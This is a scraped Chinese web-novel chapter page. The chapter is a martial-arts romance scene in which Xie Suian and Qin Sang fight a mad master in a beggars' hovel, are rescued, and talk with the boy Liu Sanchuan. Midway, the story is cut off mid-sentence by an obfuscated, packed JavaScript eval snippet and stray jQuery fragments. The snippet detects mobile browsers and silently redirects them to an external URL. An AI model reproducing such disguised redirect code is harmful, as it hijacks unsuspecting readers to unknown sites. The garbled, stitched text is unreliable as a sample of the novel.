默认冷灰
24号文字
方正启体

29. 029

作者:莫一梨本书字数:K更新时间:
    这时门外追杀的人也到了,甚至停在木门后商量——


    “这里查没有?”


    “这里查什么查,有去无回的地方,他们如果进去了还不被那群疯子活扒了皮!走,去前面!”


    那些人跑了。


    前有狼后有虎,谢岁安下意识将秦桑往自己怀里捞,低声道:“我觉得,去外面打还比较有胜算,这些都是什么东西?”


    秦桑道:“自然是人。”秦桑回头看了眼,但都是活在阴暗之下,像蛆虫一样苟且活着的人。


    这些人大概都是无家可归的人,可怜却疯癫,不能随意打杀,可被纠缠上了又会被洗髓啃骨。


    秦桑同意谢岁安的话,还是外面那些人好对付些,当下就要转身开门离开。


    然而一阵风动,一个鬼魅似的影子落在两人面前,借着暗淡的月光,他们看清面前这个人:面容脏得看不出原本的相貌,嘴唇青紫,眼圈发黑如病入膏肓,头发也如稻草似的黏成一团,唯有一双眼睛亮得惊人。


    秦桑屏住呼吸,将脸别开埋进谢岁安的肩头轻轻吸了一口气,因为气味实在,太难闻了。


    不待鬼似的人说话,谢岁安已经一脚踹过去。然而,预料中的将人踹飞的场景没发生,倒是他自己的腿被人悄无声息握住了,眼看对方的手势,他的腿即将被扭成麻花,他当即伸手在门柱上一撑,顺着对方手上的动作旋转起来。


    那人愣了下,微微歪头,似乎觉得这个动作很好玩,又伸出双手准备去抓谢岁安,这时秦桑在墙上抠出一把泥灰朝那人的眼睛洒了过去,谢岁安趁机脱身。


    两人准备开门退出,对方却隔空一掌便将刚刚打开一条缝隙的门给合上了。


    他不准备放两人离开。


    谢岁安无可奈何说了句:“完了,这个我打不过。”


    秦桑:“那怎么办,我也打不过。”


    谢岁安:“能不能不要说废话?”


    话音刚落,秦桑轻盈地闪身躲开那人递过来的一掌,并顺手一推,推开那只衣不蔽体的手臂后弯腰躲开……她有功夫,但不多,如遇寻常土匪能防身的程度,太极以柔制刚也能推演几招,不过遇到至刚强的蛮力还是不能及,是以她才过了两招已经慌着叫了起来:“啊……救命!打不过……”


    谢岁安心道废话,你能打得过还需要本公子孤身闯别院救人?当即也不逃了,认真与面前这人过起招来。


    秦桑在一旁殷切指挥:当心前面,当心后面,当心上面,当心下面……当心当心,他要出拳了!当心,他要踢你了!


    谢岁安忍无可忍又必须忍,他完全没有分心说话的时间,一肚子的憋屈都得等着这场架打完了才能说。


    “砰”的一声,谢岁安被那疯子抓着双腿扔了出去,撞碎了破烂屋子本就破烂的门窗,劈里啪啦掉下许多的尘土。


    那疯子犹嫌不足,还待再上前去,却忽然脚步一顿,然后抬头,伸手对上自上而下的一掌。


    缙云来了!


    少年神色严肃,面容冷静,他轻功极佳,动作飞快,终于打得乞丐自顾不暇,大喝道:“带公子先走!”


    早在谢岁安被揍飞的时候秦桑就已经栖身过去准备救他了,缙云说话之时她已经飞速检查完了他的七经八脉,还好对方没有用内力,只是受了一些皮外伤,但是五脏六腑也被震得一时没有反应过来,人很虚弱,反应了半晌才呛出一口气。


    他艰难道:“本公子很重,你扛不起……”


    秦桑:“……”


    的确扛不起,重伤之人跟死人一样沉,只能靠他自己了。秦桑想从自己荷包拿出一颗速效救心丸,发现自己衣服都换了,荷包自然也不在身上,她气得暗骂一声娘。


    谢岁安道:“你说什么?”


    秦桑:“能不能有点出息,回去再晕行不行?”


    谢岁安无可奈何笑了下,终于借着秦桑的肩膀之力站了起来。就在两人踉踉跄跄往门口撤的时候,谢岁安另一只手忽然被人抬起架在肩膀上,一个高挑瘦削的少年不知从哪冲过来帮忙,领着两人迅速撤到了门外。


    里面打得劈里啪啦,门外秦桑看清少年人的脸,惊呼:“是你?”


    谢岁安一脸莫名。


    少年人看向院内的打斗,似乎颇为向往和崇拜,他用公鸭嗓的声音问道:“里面那个跟陈疯子过招的是你们的人?”


    秦桑应了,又问他:“你怎么在这儿?”


    少年人脸上的伤还没好,但是夜晚看不清,只是脸上黑一团白一团的,正是下午那位刘三川,自述被灭了整个村子的漏网小孩。


    他没回答秦桑的问题,看了看两人狼狈的模样,似乎很了然,淡然道:“没想到你这么快就被姓吴的追杀了,一个晚上都没过。”


    “……”秦桑额角抽了抽,“这个说来话长,也是巧合……”


    缙云被人打到了门口,捂着胸口沉痛道:“还不快走,我快撑不住了!”


    “嚯,这人好厉害,缙云都快撑不住了。”她问少年人,“这人你认识不认识?”


    少年回答很干脆:“不认识,是个疯子。我也是第一次见他动手,”说着他又看过去,眼里闪烁着希望的光芒。


    秦桑大约看出少年的想法了,不得不拆台道:“就算你学会他的功夫,仅凭功夫也是报不了仇的,双拳难敌四手,懂不懂?”


    少年再次将目光收回来,淡淡不屑:“不靠功夫,靠你吗?你都自身难保了。”


    这话说的谢岁安就不乐意了,他忍着全身疼痛努力站直了:“小孩儿,目光要放得长远,虽然眼下你看我们稍有些狼狈,可我们毕竟还能好好站在这里喘气是不是,你想学会武功再报仇,那不得学个五六七八年,学武……嘶……不是那么容易的!”


    缙云又被摔到了门口,咬着牙哀嚎:“公子……我真的……撑不住了……”


    少年咬了咬唇不知思考了什么,然后冲进门里忽然站在那位疯子高手的面前,道了句:“住手。”


    那疯子的掌风错开少年,在旁边地上砸碎一块砖,然后收掌,微微偏头,错愕地看着眼前之人。


    少年认真地一字一句道:“他们,是朋友,不伤害我们。”


    疯子想了半天,看看躺在地上的缙云,看了半晌,忽然再次起式出掌。


    缙云无奈准备再次迎战时,却听秦桑忽然喝道:“缙云别动!”


    缙云刚准备反击,却听见秦桑这急急的一句,不知为何,就下意识遵从了,他忙闭着眼收了拳,以为会挨上重重一掌然后口吐鲜血,然而一阵凉风擦着下巴而来,最终没有受到那预料中的一掌。


    他艰难地睁开一只眼,看见疯子近在眼前鸡窝似的脏头发上面居然还有跳蚤在蠕动!


    疯子掌还立在空中,却见缙云不动手了,伸手来抬缙云的手壁:“再来,继续!”


    缙云此刻也已反应过来了,敢情这疯子是拿他练武呢,忙摆手:“不打了不打了,打不过。”


    “再来!”疯子不依不挠,声音低沉,却带着懵懂和天真的意味。


    缙云摆摆手,然后死鸭子一样脖子一歪,舌头一伸,假装嗝屁。


    疯子终于觉得没意思,抓着头发走开了。


    缙云忙睁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403770|168466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开眼睛小声问:“小孩儿,这人是谁?”


    ***


    虽然这间破房子实在不是人待的地方,住满了流浪汉和乞丐,但谢岁安和缙云都受伤不轻,在有力气安全逃回客栈之前,他们只得暂时躲在这个屋里调息裹伤。


    秦桑毫不客气地再撕了许多布条,将谢岁安背上伤口和腿上裂开的伤口重新细致的包好。


    刘三川点了支蜡烛,边点边说:“这蜡烛就这么半截了,待你们处理好伤口,就得吹灭,得省着点用。”


    谢岁安闻言,在自己身上摸了摸,摸到块银子扔过去:“小气吧啦的,拿去多买点蜡烛。”


    少年不屑地伸手捡了银子就往怀里揣,嘴上却道:“买了你也用不上,你们也不会在这里久待。”


    谢岁安:“废话,这里这么臭。”


    少年抬眸看了看他,眼里流露更多的不屑。


    眼见两人即将吵起来,秦桑忙开口转移话题:“欸小孩儿,你最近都住这里吗?那个疯子是谁啊?”


    刚才几人打架时,屋子里陆陆续续起来的人影已经俱都重新躺回自己的一亩三分地,两耳不闻窗外事了。


    就连那位疯子高手也不知道躺去了哪个角落重新睡觉,是以如今屋里只有他们几人盘腿坐成一圈围着一只火光微弱的蜡烛。


    少年道:“我也只是听说,他是这间屋子的主人。”


    几人纷纷抬头看了看这既不遮风也不挡雨的烂房子,心道难怪在这寸土寸金的衢州府繁华街区内竟然还有这样一座难民窟,原来房主把自己活成了难民啊。


    谢岁安道:“还有呢,他是这间屋子的主人,功夫如此高强,为何会疯?”


    刘三川漫不经心道:“这便要问你们这些达官贵人了,是不是有什么秘密不想让人知道的时候,就会做这种杀人灭口的事。”


    谢岁安无言,虽然他自己从未做过这种事,可他知道,一定有人这么做。位高权重者往往为了维持自己的地位不惜以权欺人,所谓仁善,不过是建立在自己地位不受损的基础之上,一旦有人危及自身或家族,他们便是笑面虎,笑着吃人,眼都不会眨一下。


    秦桑道:“所以他身上有什么秘密?”


    “那说法就多了,”少年随手扯了一根干草放进嘴里又嚼起来,“有说他是睡了谁家小妾被人打成傻子的,也有说他曾是某位大人物的下属,那位大人物倒台后他也跟着遭了殃,还有说他是某位大人物的下属,但是因为知道大人物的秘密又跟大人物不同心,所以就被打残了。”


    身为大人物下属的缙云一脸高深地点头:“嗯,我觉得这些说法,都很有可能……”


    谢岁安斜了他一眼,他忙住口闭眼继续运功疗伤了。


    疯子的话题没什么好继续的,几人沉默了一会儿,秦桑决定把计划拿出来和大家商讨一下,如果可以,明天就可以着手实施,以免夜长梦多。


    可她刚准备开口,谢岁安也开口了:“你是怎么被人掳走的?”


    然后他的目光淡淡扫过她身上已被换过的衣衫,神色有点刻意压制的紧张。


    对于换衣服这事,秦桑自己也搞不清楚,于是她有点心虚,只挑了前面讲,讲到小二给她指路时,两人都楞住了。


    谢岁安怒道:“我给小二明明说的是让你来我房里找我!”


    秦桑则想起什么惊呼:“英儿还在里面没出来!”


    缙云:“……”


    大眼瞪小眼半天,谢岁安倒抽一口气,道:“英儿暂时你别想了,今夜再回去救人不现实,如果他们要对小哑巴做什么,你现在去也晚了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)